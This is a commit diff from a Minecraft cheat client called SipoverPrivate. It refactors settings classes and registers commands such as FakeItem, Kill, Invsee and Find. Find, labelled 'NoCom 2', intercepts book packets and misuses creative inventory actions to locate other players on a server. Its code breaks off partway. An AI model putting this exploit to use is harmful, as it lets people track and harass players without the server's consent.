mirror of
https://github.com/Miasmusa/Shadow.git
synced 2024-11-15 03:14:54 -05:00
funny
This commit is contained in:
parent
6be4913f91
commit
61eac94498
71 changed files with 4547 additions and 158 deletions
|
@ -5,6 +5,7 @@ import me.x150.sipprivate.feature.gui.FastTickable;
|
|||
import me.x150.sipprivate.feature.gui.notifications.NotificationRenderer;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
import me.x150.sipprivate.helper.Rotations;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PostInitEvent;
|
||||
|
@ -25,20 +26,18 @@ import org.apache.logging.log4j.Logger;
|
|||
import java.io.File;
|
||||
import java.util.ArrayList;
|
||||
|
||||
public class SipoverPrivate implements ModInitializer {
|
||||
@SuppressWarnings("ResultOfMethodCallIgnored") public class SipoverPrivate implements ModInitializer {
|
||||
|
||||
public static final String MOD_ID = "sipoverprivate";
|
||||
public static final String MOD_NAME = "SipoverPrivate";
|
||||
public static Logger LOGGER = LogManager.getLogger();
|
||||
public static MinecraftClient client = MinecraftClient.getInstance();
|
||||
public static final Logger LOGGER = LogManager.getLogger();
|
||||
public static final MinecraftClient client = MinecraftClient.getInstance();
|
||||
public static final File BASE = new File(MinecraftClient.getInstance().runDirectory, "sip");
|
||||
public static long lastScreenChange = System.currentTimeMillis();
|
||||
|
||||
public static SipoverPrivate INSTANCE;
|
||||
|
||||
public static File BASE = new File(MinecraftClient.getInstance().runDirectory, "sip");
|
||||
public static Thread MODULE_FTTICKER;
|
||||
public static Thread FAST_TICKER;
|
||||
public boolean initialized = false;
|
||||
public static SipoverPrivate INSTANCE;
|
||||
public static Thread MODULE_FTTICKER;
|
||||
public static Thread FAST_TICKER;
|
||||
public boolean initialized = false;
|
||||
|
||||
public static void log(Level level, String message) {
|
||||
LOGGER.log(level, "[" + MOD_NAME + "] " + message);
|
||||
|
@ -96,7 +95,7 @@ public class SipoverPrivate implements ModInitializer {
|
|||
if (client.currentScreen instanceof FastTickable tickable) {
|
||||
tickable.onFastTick();
|
||||
}
|
||||
for (Element child : new ArrayList<>(client.currentScreen.children())) { // wow i hate this
|
||||
for (Element child : new ArrayList<>(client.currentScreen.children())) { // wow, I hate this
|
||||
if (child instanceof FastTickable t) {
|
||||
t.onFastTick();
|
||||
}
|
||||
|
@ -129,7 +128,7 @@ public class SipoverPrivate implements ModInitializer {
|
|||
if (client.player == null || client.world == null) {
|
||||
continue;
|
||||
}
|
||||
// Rotations.update(); // updates rotations, again only if we are in a world
|
||||
Rotations.update(); // updates rotations, again only if we are in a world
|
||||
}
|
||||
}, "100_tps_ticker:gui");
|
||||
MODULE_FTTICKER.start();
|
||||
|
|
|
@ -1,12 +1,13 @@
|
|||
package me.x150.sipprivate.config;
|
||||
|
||||
public class DoubleSetting extends SettingBase<Double> {
|
||||
int prec;
|
||||
double min, max;
|
||||
final int precision;
|
||||
final double min;
|
||||
final double max;
|
||||
|
||||
public DoubleSetting(Double defaultValue, String name, String description, int precision, double min, double max) {
|
||||
super(defaultValue, name, description);
|
||||
this.prec = precision;
|
||||
this.precision = precision;
|
||||
this.min = min;
|
||||
this.max = max;
|
||||
}
|
||||
|
@ -28,14 +29,14 @@ public class DoubleSetting extends SettingBase<Double> {
|
|||
|
||||
public static class Builder extends SettingBase.Builder<Builder, Double, DoubleSetting> {
|
||||
double min = Double.NEGATIVE_INFINITY, max = Double.POSITIVE_INFINITY;
|
||||
int prec = 2;
|
||||
int precision = 2;
|
||||
|
||||
public Builder(double defaultValue) {
|
||||
super(defaultValue);
|
||||
}
|
||||
|
||||
public Builder precision(int prec) {
|
||||
this.prec = prec;
|
||||
public Builder precision(int precision) {
|
||||
this.precision = precision;
|
||||
return this;
|
||||
}
|
||||
|
||||
|
@ -50,7 +51,7 @@ public class DoubleSetting extends SettingBase<Double> {
|
|||
}
|
||||
|
||||
@Override public DoubleSetting get() {
|
||||
return new DoubleSetting(defaultValue, name, description, prec, min, max);
|
||||
return new DoubleSetting(defaultValue, name, description, precision, min, max);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -1,7 +1,8 @@
|
|||
package me.x150.sipprivate.config;
|
||||
|
||||
public class IntSetting extends SettingBase<Integer> {
|
||||
int min, max;
|
||||
final int min;
|
||||
final int max;
|
||||
|
||||
public IntSetting(Integer defaultValue, String name, String description, int min, int max) {
|
||||
super(defaultValue, name, description);
|
||||
|
|
|
@ -4,8 +4,8 @@ import java.util.ArrayList;
|
|||
import java.util.List;
|
||||
|
||||
public class ModuleConfig {
|
||||
List<SettingBase<?>> settings = new ArrayList<>();
|
||||
List<SettingsGroup> groups = new ArrayList<>();
|
||||
final List<SettingBase<?>> settings = new ArrayList<>();
|
||||
final List<SettingsGroup> groups = new ArrayList<>();
|
||||
|
||||
public <S extends SettingBase<?>> S create(S in) { // used as a proxy to make a one liner
|
||||
settings.add(in);
|
||||
|
|
|
@ -1,5 +1,8 @@
|
|||
package me.x150.sipprivate.config;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.function.BooleanSupplier;
|
||||
import java.util.function.Consumer;
|
||||
|
||||
/**
|
||||
|
@ -15,11 +18,12 @@ public abstract class SettingBase<V> {
|
|||
/**
|
||||
* The default value of this setting
|
||||
*/
|
||||
V defaultValue;
|
||||
final V defaultValue;
|
||||
List<BooleanSupplier> suppliers = new ArrayList<>();
|
||||
/**
|
||||
* The current value of this setting
|
||||
*/
|
||||
V value;
|
||||
V value;
|
||||
|
||||
/**
|
||||
* Constructs a new Setting
|
||||
|
@ -34,6 +38,14 @@ public abstract class SettingBase<V> {
|
|||
this.defaultValue = this.value = defaultValue;
|
||||
}
|
||||
|
||||
public void showIf(BooleanSupplier supplier) {
|
||||
suppliers.add(supplier);
|
||||
}
|
||||
|
||||
public boolean shouldShow() {
|
||||
return suppliers.stream().allMatch(BooleanSupplier::getAsBoolean);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parses a string to its value, not implemented in the base class
|
||||
*
|
||||
|
@ -69,6 +81,10 @@ public abstract class SettingBase<V> {
|
|||
this.value = value;
|
||||
}
|
||||
|
||||
public void reset() {
|
||||
this.setValue(this.getDefaultValue());
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the description of this setting
|
||||
*
|
||||
|
|
|
@ -7,8 +7,9 @@ import java.util.List;
|
|||
* A group of settings
|
||||
*/
|
||||
public class SettingsGroup {
|
||||
String name, description;
|
||||
List<SettingBase<?>> settings;
|
||||
final String name;
|
||||
final String description;
|
||||
final List<SettingBase<?>> settings;
|
||||
|
||||
SettingsGroup(String name, String description, List<SettingBase<?>> settings) {
|
||||
this.name = name;
|
||||
|
@ -21,8 +22,8 @@ public class SettingsGroup {
|
|||
}
|
||||
|
||||
public static class Builder {
|
||||
final List<SettingBase<?>> s = new ArrayList<>();
|
||||
String name = "none", description = "";
|
||||
List<SettingBase<?>> s = new ArrayList<>();
|
||||
|
||||
public Builder name(String name) {
|
||||
this.name = name;
|
||||
|
|
|
@ -5,7 +5,9 @@
|
|||
|
||||
package me.x150.sipprivate.feature.command;
|
||||
|
||||
public abstract class Command {
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
|
||||
public abstract class Command extends Utils.Logging {
|
||||
|
||||
private final String name;
|
||||
private final String description;
|
||||
|
|
|
@ -5,6 +5,26 @@
|
|||
|
||||
package me.x150.sipprivate.feature.command;
|
||||
|
||||
import me.x150.sipprivate.feature.command.impl.Config;
|
||||
import me.x150.sipprivate.feature.command.impl.ConfigUtils;
|
||||
import me.x150.sipprivate.feature.command.impl.Drop;
|
||||
import me.x150.sipprivate.feature.command.impl.Effect;
|
||||
import me.x150.sipprivate.feature.command.impl.FakeItem;
|
||||
import me.x150.sipprivate.feature.command.impl.Find;
|
||||
import me.x150.sipprivate.feature.command.impl.ForEach;
|
||||
import me.x150.sipprivate.feature.command.impl.Gamemode;
|
||||
import me.x150.sipprivate.feature.command.impl.Help;
|
||||
import me.x150.sipprivate.feature.command.impl.Hologram;
|
||||
import me.x150.sipprivate.feature.command.impl.Invsee;
|
||||
import me.x150.sipprivate.feature.command.impl.Kill;
|
||||
import me.x150.sipprivate.feature.command.impl.Panic;
|
||||
import me.x150.sipprivate.feature.command.impl.Plugins;
|
||||
import me.x150.sipprivate.feature.command.impl.RageQuit;
|
||||
import me.x150.sipprivate.feature.command.impl.Rename;
|
||||
import me.x150.sipprivate.feature.command.impl.Say;
|
||||
import me.x150.sipprivate.feature.command.impl.Taco;
|
||||
import me.x150.sipprivate.feature.command.impl.Toggle;
|
||||
import me.x150.sipprivate.feature.command.impl.ViewNbt;
|
||||
import me.x150.sipprivate.feature.gui.AtomicConsoleScreen;
|
||||
|
||||
import java.io.PrintWriter;
|
||||
|
@ -18,11 +38,32 @@ public class CommandRegistry {
|
|||
private static final List<Command> commands = new ArrayList<>();
|
||||
|
||||
static {
|
||||
// TODO: 18.12.21 add commands
|
||||
// TODO: 18.12.21 add commands
|
||||
init();
|
||||
}
|
||||
|
||||
public static void init() {
|
||||
|
||||
commands.clear();
|
||||
commands.add(new Toggle());
|
||||
commands.add(new Config());
|
||||
commands.add(new Gamemode());
|
||||
commands.add(new Effect());
|
||||
commands.add(new Hologram());
|
||||
commands.add(new Help());
|
||||
commands.add(new ForEach());
|
||||
commands.add(new Drop());
|
||||
commands.add(new Panic());
|
||||
commands.add(new Rename());
|
||||
commands.add(new ViewNbt());
|
||||
commands.add(new Say());
|
||||
commands.add(new ConfigUtils());
|
||||
commands.add(new Kill());
|
||||
commands.add(new Invsee());
|
||||
commands.add(new RageQuit());
|
||||
commands.add(new Plugins());
|
||||
commands.add(new Find());
|
||||
commands.add(new FakeItem());
|
||||
commands.add(new Taco());
|
||||
}
|
||||
|
||||
public static List<Command> getCommands() {
|
||||
|
|
|
@ -0,0 +1,66 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.config.SettingBase;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class Config extends Command {
|
||||
|
||||
public Config() {
|
||||
super("Config", "Changes configuration of a module", "config", "conf");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return ModuleRegistry.getModules().stream().map(Module::getName).collect(Collectors.toList()).toArray(String[]::new);
|
||||
} else if (args.length == 2 && ModuleRegistry.getByName(args[0]) != null) {
|
||||
return Objects.requireNonNull(ModuleRegistry.getByName(args[0])).config.getSettings().stream().map(SettingBase::getName).collect(Collectors.toList()).toArray(String[]::new);
|
||||
} else if (args.length == 3) {
|
||||
return new String[]{"(New value)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
message("Syntax: .config (module) <key> <value>");
|
||||
message("For a module or key with spaces, use - as a separator");
|
||||
message("Example: \".config block-spammer times-per-tick 11\" to set the \"times per tick\" property to 11");
|
||||
return;
|
||||
}
|
||||
Module target = ModuleRegistry.getByName(args[0].replaceAll("-", " "));
|
||||
if (target == null) {
|
||||
error("Module not found");
|
||||
return;
|
||||
}
|
||||
if (args.length == 1) {
|
||||
for (SettingBase<?> dynamicValue : target.config.getSettings()) {
|
||||
message(dynamicValue.getName() + " = " + dynamicValue.getValue().toString());
|
||||
}
|
||||
} else if (args.length == 2) {
|
||||
SettingBase<?> val = target.config.get(args[1].replaceAll("-", " "));
|
||||
if (val == null) {
|
||||
error("Key not found");
|
||||
return;
|
||||
}
|
||||
message(val.getName() + " = " + val.getValue().toString());
|
||||
} else if (args.length == 3) {
|
||||
SettingBase<?> val = target.config.get(args[1].replaceAll("-", " "));
|
||||
if (val == null) {
|
||||
error("Key not found");
|
||||
return;
|
||||
}
|
||||
val.accept(String.join(" ", Arrays.copyOfRange(args, 2, args.length)));
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,177 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import com.google.common.base.Charsets;
|
||||
import com.google.gson.JsonArray;
|
||||
import com.google.gson.JsonElement;
|
||||
import com.google.gson.JsonObject;
|
||||
import com.google.gson.JsonParser;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.config.SettingBase;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
import me.x150.sipprivate.keybinding.KeybindingManager;
|
||||
import net.minecraft.text.ClickEvent;
|
||||
import net.minecraft.text.HoverEvent;
|
||||
import net.minecraft.text.LiteralText;
|
||||
import net.minecraft.text.Style;
|
||||
import net.minecraft.text.Text;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class ConfigUtils extends Command {
|
||||
static final File CONFIG_STORAGE = new File(SipoverPrivate.BASE, "configs");
|
||||
|
||||
public ConfigUtils() {
|
||||
super("ConfigUtils", "Config file management", "configUtils", "cu");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"load", "save"};
|
||||
} else if (args.length == 2 && args[0].equalsIgnoreCase("load")) {
|
||||
return Arrays.stream(Objects.requireNonNull(CONFIG_STORAGE.listFiles())).map(File::getName).collect(Collectors.toList()).toArray(String[]::new);
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
error("I need an action, load or save");
|
||||
return;
|
||||
}
|
||||
switch (args[0].toLowerCase()) {
|
||||
case "load" -> {
|
||||
if (args.length < 2) {
|
||||
error("I need you to specify a file name of the config");
|
||||
return;
|
||||
}
|
||||
File f = new File(CONFIG_STORAGE.getAbsolutePath() + "/" + String.join(" ", Arrays.copyOfRange(args, 1, args.length)));
|
||||
if (!f.exists()) {
|
||||
error("That file doesn't exist");
|
||||
return;
|
||||
}
|
||||
if (!f.isFile()) {
|
||||
error("That's not a file");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
for (Module module : ModuleRegistry.getModules()) {
|
||||
for (SettingBase<?> dynamicValue : module.config.getSettings()) {
|
||||
dynamicValue.reset();
|
||||
}
|
||||
}
|
||||
String config = FileUtils.readFileToString(f, Charsets.UTF_8);
|
||||
JsonObject root = JsonParser.parseString(config).getAsJsonObject();
|
||||
for (JsonElement jsonElement : root.get("config").getAsJsonArray()) {
|
||||
JsonObject current = jsonElement.getAsJsonObject();
|
||||
String moduleName = current.get("name").getAsString();
|
||||
Module m = ModuleRegistry.getByName(moduleName);
|
||||
if (m == null) {
|
||||
warn("Config includes invalid module name \"" + moduleName + "\"");
|
||||
continue;
|
||||
}
|
||||
for (JsonElement pairs : current.get("pairs").getAsJsonArray()) {
|
||||
JsonObject c = pairs.getAsJsonObject();
|
||||
String cname = c.get("key").getAsString();
|
||||
String value = c.get("value").getAsString();
|
||||
SettingBase<?> val = m.config.get(cname);
|
||||
if (val != null) {
|
||||
val.accept(value);
|
||||
}
|
||||
}
|
||||
}
|
||||
List<Module> shouldBeEnabled = new ArrayList<>();
|
||||
for (JsonElement enabled : root.get("enabled").getAsJsonArray()) {
|
||||
String n = enabled.getAsString();
|
||||
Module m = ModuleRegistry.getByName(n);
|
||||
if (m == null) {
|
||||
warn("Config includes invalid module name \"" + n + "\"");
|
||||
continue;
|
||||
}
|
||||
shouldBeEnabled.add(m);
|
||||
if (!m.isEnabled()) {
|
||||
m.setEnabled(true);
|
||||
}
|
||||
}
|
||||
for (Module module : ModuleRegistry.getModules()) {
|
||||
if (!shouldBeEnabled.contains(module) && module.isEnabled()) {
|
||||
module.setEnabled(false);
|
||||
}
|
||||
}
|
||||
KeybindingManager.reload();
|
||||
success("Reloaded keybinding manager");
|
||||
success("Loaded config file!");
|
||||
} catch (Exception e) {
|
||||
error("Couldn't load config: " + e.getLocalizedMessage());
|
||||
}
|
||||
}
|
||||
case "save" -> {
|
||||
if (args.length < 2) {
|
||||
error("I need the output file name");
|
||||
return;
|
||||
}
|
||||
File out = new File(CONFIG_STORAGE.getAbsolutePath() + "/" + String.join(" ", Arrays.copyOfRange(args, 1, args.length)));
|
||||
if (out.exists()) {
|
||||
warn("Overwriting file because it already exists");
|
||||
if (!out.delete()) {
|
||||
error("Failed to delete old file! Aborting");
|
||||
return;
|
||||
}
|
||||
}
|
||||
try {
|
||||
JsonObject base = new JsonObject();
|
||||
JsonArray enabled = new JsonArray();
|
||||
JsonArray config = new JsonArray();
|
||||
for (Module module : ModuleRegistry.getModules()) {
|
||||
if (module.getName().equalsIgnoreCase("Alts")) {
|
||||
continue; // we do NOT want to include this
|
||||
}
|
||||
if (module.isEnabled()) {
|
||||
enabled.add(module.getName());
|
||||
}
|
||||
JsonObject currentConfig = new JsonObject();
|
||||
currentConfig.addProperty("name", module.getName());
|
||||
JsonArray pairs = new JsonArray();
|
||||
for (SettingBase<?> dynamicValue : module.config.getSettings()) {
|
||||
if (dynamicValue.getValue().equals(dynamicValue.getDefaultValue())) {
|
||||
continue; // no need to save that
|
||||
}
|
||||
JsonObject jesus = new JsonObject();
|
||||
jesus.addProperty("key", dynamicValue.getName());
|
||||
jesus.addProperty("value", dynamicValue.getValue() + "");
|
||||
pairs.add(jesus);
|
||||
}
|
||||
if (pairs.size() == 0) {
|
||||
continue;
|
||||
}
|
||||
currentConfig.add("pairs", pairs);
|
||||
config.add(currentConfig);
|
||||
}
|
||||
base.add("enabled", enabled);
|
||||
base.add("config", config);
|
||||
FileUtils.writeStringToFile(out, base.toString(), Charsets.UTF_8, false);
|
||||
LiteralText t = new LiteralText("[§9A§r] Saved config! Click to open");
|
||||
Style s = Style.EMPTY.withHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, Text.of("Click to open")))
|
||||
.withClickEvent(new ClickEvent(ClickEvent.Action.OPEN_FILE, out.getAbsolutePath()));
|
||||
t.setStyle(s);
|
||||
Objects.requireNonNull(SipoverPrivate.client.player).sendMessage(t, false);
|
||||
} catch (Exception e) {
|
||||
error("Couldn't save config: " + e.getLocalizedMessage());
|
||||
}
|
||||
}
|
||||
default -> error("Invalid action, need either load or save");
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,22 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
|
||||
public class Drop extends Command {
|
||||
|
||||
public Drop() {
|
||||
super("Drop", "Drops all items in your inventory", "drop", "d", "throw");
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
for (int i = 0; i < 36; i++) {
|
||||
Utils.Inventory.drop(i);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,70 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.entity.effect.StatusEffect;
|
||||
import net.minecraft.entity.effect.StatusEffectInstance;
|
||||
|
||||
public class Effect extends Command {
|
||||
|
||||
public Effect() {
|
||||
super("Effect", "Gives you an effect client side", "effect", "eff");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"give", "clear"};
|
||||
} else if (args.length == 2 && args[0].equalsIgnoreCase("give")) {
|
||||
return new String[]{"(effect id) (duration) (strength)"};
|
||||
} else if (args.length == 3 && args[0].equalsIgnoreCase("give")) {
|
||||
return new String[]{"(duration) (strength)"};
|
||||
} else if (args.length == 4 && args[0].equalsIgnoreCase("give")) {
|
||||
return new String[]{"(strength)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (SipoverPrivate.client.player == null) {
|
||||
return;
|
||||
}
|
||||
if (args.length == 0) {
|
||||
error("action please");
|
||||
return;
|
||||
}
|
||||
switch (args[0].toLowerCase()) {
|
||||
case "give" -> {
|
||||
if (args.length < 4) {
|
||||
error("effect id, duration and strength pls");
|
||||
return;
|
||||
}
|
||||
int id = Utils.Math.tryParseInt(args[1], -1);
|
||||
if (id == -1) {
|
||||
error("idk about that status effect ngl");
|
||||
return;
|
||||
}
|
||||
int duration = Utils.Math.tryParseInt(args[2], 30);
|
||||
int strength = Utils.Math.tryParseInt(args[3], 1);
|
||||
StatusEffect effect = StatusEffect.byRawId(id);
|
||||
if (effect == null) {
|
||||
error("idk about that status effect ngl");
|
||||
return;
|
||||
}
|
||||
StatusEffectInstance inst = new StatusEffectInstance(effect, duration, strength);
|
||||
SipoverPrivate.client.player.addStatusEffect(inst);
|
||||
}
|
||||
case "clear" -> {
|
||||
for (StatusEffectInstance statusEffect : SipoverPrivate.client.player.getStatusEffects().toArray(new StatusEffectInstance[0])) {
|
||||
SipoverPrivate.client.player.removeStatusEffect(statusEffect.getEffectType());
|
||||
}
|
||||
}
|
||||
default -> error("\"give\" and \"clear\" only pls");
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,107 @@
|
|||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import com.mojang.brigadier.exceptions.CommandSyntaxException;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.feature.gui.AtomicConsoleScreen;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.EquipmentSlot;
|
||||
import net.minecraft.entity.player.PlayerEntity;
|
||||
import net.minecraft.item.Item;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.nbt.StringNbtReader;
|
||||
import net.minecraft.util.Identifier;
|
||||
import net.minecraft.util.registry.Registry;
|
||||
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.util.Arrays;
|
||||
import java.util.UUID;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class FakeItem extends Command {
|
||||
public FakeItem() {
|
||||
super("FakeItem", "Fakes a person holding a specific item", "spoofitem", "fakeitem");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return SipoverPrivate.client.world.getPlayers().stream().map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName()).collect(Collectors.toList())
|
||||
.toArray(String[]::new);
|
||||
} else if (args.length == 2) {
|
||||
return new String[]{"hand", "custom:(item id) [item nbt]"};
|
||||
} else if (args.length == 3 && args[1].toLowerCase().startsWith("custom:")) {
|
||||
return new String[]{"[item nbt]"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) { // no uuid or item
|
||||
error("Specify player UUID or player username and item");
|
||||
return;
|
||||
} else if (args.length == 1) { // no item
|
||||
error("You have to specify which item to fake (hand or custom:id).");
|
||||
message("Tip: you can also provide additional nbt for the item with custom:id, fakeitem entity custom:minecraft:item {\"nbt\":\"goes here\"}");
|
||||
return;
|
||||
}
|
||||
UUID u = null;
|
||||
String nameTarget = null;
|
||||
try {
|
||||
u = UUID.fromString(args[0]);
|
||||
} catch (Exception ignored) {
|
||||
nameTarget = args[0];
|
||||
}
|
||||
PlayerEntity le = null;
|
||||
for (Entity entity : SipoverPrivate.client.world.getEntities()) {
|
||||
if (entity instanceof PlayerEntity le1) {
|
||||
if (u != null && entity.getUuid().equals(u)) {
|
||||
le = le1;
|
||||
} else if (nameTarget != null && le1.getGameProfile().getName().equals(nameTarget)) {
|
||||
le = le1;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (le == null) {
|
||||
error("Player not found");
|
||||
return;
|
||||
}
|
||||
if (args[1].equalsIgnoreCase("hand")) {
|
||||
ItemStack main = SipoverPrivate.client.player.getMainHandStack().copy();
|
||||
if (main.isEmpty()) {
|
||||
error("You're not holding anything");
|
||||
return;
|
||||
}
|
||||
le.equipStack(EquipmentSlot.MAINHAND, main);
|
||||
} else if (args[1].toLowerCase().startsWith("custom:")) {
|
||||
String id = args[1].substring("custom:".length());
|
||||
Identifier idParsed = Identifier.tryParse(id);
|
||||
if (idParsed == null) {
|
||||
error("Invalid item");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!Registry.ITEM.containsId(idParsed)) {
|
||||
error("Item not found");
|
||||
return;
|
||||
}
|
||||
Item item = Registry.ITEM.get(idParsed);
|
||||
ItemStack stack = new ItemStack(item);
|
||||
if (args.length > 2) { // we got additional nbt
|
||||
try {
|
||||
stack.setNbt(StringNbtReader.parse(String.join(" ", Arrays.copyOfRange(args, 2, args.length))));
|
||||
} catch (CommandSyntaxException e) {
|
||||
error("Invalid NBT: " + e.getContext());
|
||||
StringWriter sw = new StringWriter();
|
||||
e.printStackTrace(new PrintWriter(sw));
|
||||
for (String s : sw.toString().split("\n")) {
|
||||
AtomicConsoleScreen.instance().log(s, AtomicConsoleScreen.BACKGROUND);
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
le.equipStack(EquipmentSlot.MAINHAND, stack);
|
||||
}
|
||||
success("Faked item until manual update by the entity");
|
||||
}
|
||||
}
|
126
src/main/java/me/x150/sipprivate/feature/command/impl/Find.java
Normal file
126
src/main/java/me/x150/sipprivate/feature/command/impl/Find.java
Normal file
|
@ -0,0 +1,126 @@
|
|||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import com.google.gson.JsonObject;
|
||||
import com.google.gson.JsonParser;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.nbt.NbtCompound;
|
||||
import net.minecraft.nbt.NbtList;
|
||||
import net.minecraft.nbt.NbtString;
|
||||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
|
||||
import net.minecraft.network.packet.s2c.play.OpenWrittenBookS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.play.ScreenHandlerSlotUpdateS2CPacket;
|
||||
import net.minecraft.util.Hand;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.util.Objects;
|
||||
import java.util.UUID;
|
||||
|
||||
public class Find extends Command {
|
||||
|
||||
boolean pendingBook = false;
|
||||
boolean sent2nd = false;
|
||||
int bookSlot = -1;
|
||||
|
||||
public Find() {
|
||||
super("Find", "NoCom 2 (requires creative)", "find", "cfind");
|
||||
Events.registerEventHandler(EventType.PACKET_RECEIVE, event -> {
|
||||
if (!pendingBook) {
|
||||
return;
|
||||
}
|
||||
PacketEvent pe = (PacketEvent) event;
|
||||
handlePacket(pe);
|
||||
});
|
||||
Events.registerEventHandler(EventType.NOCLIP_QUERY, event -> { // this also functions as a tick thing so eh
|
||||
if (pendingBook && bookSlot != -1) {
|
||||
assert SipoverPrivate.client.player != null;
|
||||
SipoverPrivate.client.player.getInventory().selectedSlot = bookSlot;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
void handlePacket(PacketEvent pe) {
|
||||
if (pe.getPacket() instanceof OpenWrittenBookS2CPacket) {
|
||||
if (!sent2nd) {
|
||||
pe.setCancelled(true);
|
||||
sent2nd = true;
|
||||
return;
|
||||
}
|
||||
assert SipoverPrivate.client.player != null;
|
||||
ItemStack current = SipoverPrivate.client.player.getInventory().getMainHandStack();
|
||||
NbtCompound c = current.getOrCreateNbt();
|
||||
if (c.contains("pages", NbtCompound.LIST_TYPE)) {
|
||||
NbtList l = c.getList("pages", NbtCompound.STRING_TYPE);
|
||||
NbtString posComp = (NbtString) l.get(0);
|
||||
String value = posComp.asString();
|
||||
JsonObject root = JsonParser.parseString(value).getAsJsonObject();
|
||||
if (root.get("text") == null || root.get("text").getAsString().isEmpty()) {
|
||||
error("Couldn't find player, is the dude online?");
|
||||
CreativeInventoryActionC2SPacket pack3 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(bookSlot), new ItemStack(Items.AIR));
|
||||
